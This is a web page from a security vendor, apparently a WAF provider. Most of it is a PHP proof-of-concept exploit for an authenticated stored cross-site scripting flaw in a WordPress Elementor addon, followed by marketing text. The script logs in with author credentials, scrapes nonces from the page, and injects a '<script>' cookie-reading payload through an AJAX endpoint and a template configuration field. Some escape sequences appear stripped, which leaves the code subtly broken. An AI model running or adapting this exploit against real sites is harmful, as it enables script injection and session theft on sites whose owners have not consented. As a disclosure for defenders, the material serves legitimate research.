// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-117522 - Dynific Addons for Elementor (formerly Anywhere Elementor) < 1.3.1 - Authenticated (Author+) Stored Cross-Site Scripting

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$username = 'author_user'; // Author-level credentials
$password = 'author_password';

// Initialize cURL session
$ch = curl_init();

// Step 1: Log in to WordPress to obtain authentication cookies
$login_url = $target_url . '/wp-login.php';
$post_fields = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

if (curl_errno($ch)) {
    die('Login failed: ' . curl_error($ch));
}

// Step 2: Retrieve a valid nonce from the front-end (since aep_ajax_nonce is exposed)
$frontend_url = $target_url . '/';
curl_setopt($ch, CURLOPT_URL, $frontend_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract nonce using regex (adjust pattern as needed)
preg_match('/aep_ajax_nonces*=s*["']([^"']+)["']/', $response, $matches);
if (empty($matches[1])) {
    die('Could not extract nonce from front-end.');
}
$nonce = $matches[1];

// Step 3: Send malicious request to ae_preview_term AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$payload = '<script>alert(document.cookie);</script>';
$post_fields = http_build_query([
    'action' => 'ae_preview_term',
    'nonce' => $nonce,
    'q' => $payload,
    'taxonomy' => 'category'
]);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);

// Check response (the payload may be reflected or stored)
if (strpos($response, $payload) !== false) {
    echo 'XSS payload reflected in response!n';
} else {
    echo 'Payload not reflected. It may be stored for later execution.n';
}

// Step 4: Store payload in template configuration (ae_preview_author field)
// First, create a new template (if needed) or use an existing one. Here we assume we have a template ID.
$template_id = 123; // Replace with a valid template ID (attacker can create one)
$edit_url = $target_url . '/wp-admin/post.php?post=' . $template_id . '&action=edit';

// Fetch the edit page to get the nonce for template config
curl_setopt($ch, CURLOPT_URL, $edit_url);
$response = curl_exec($ch);
preg_match('/name="aep_template_config_nonce" value="([^"]+)"/', $response, $matches);
if (empty($matches[1])) {
    die('Could not extract template config nonce.');
}
$template_nonce = $matches[1];

// Submit the form with malicious ae_preview_author
$post_fields = http_build_query([
    'aep_template_config_nonce' => $template_nonce,
    'ae_preview_author' => $payload,
    'ae_preview_post_ID' => '1',
    // Include other required fields with dummy values
    'ae_render_mode' => 'normal',
    // ... add other fields as needed
]);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);

echo 'Exploit attempt completed. Check if payload stored.n';

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.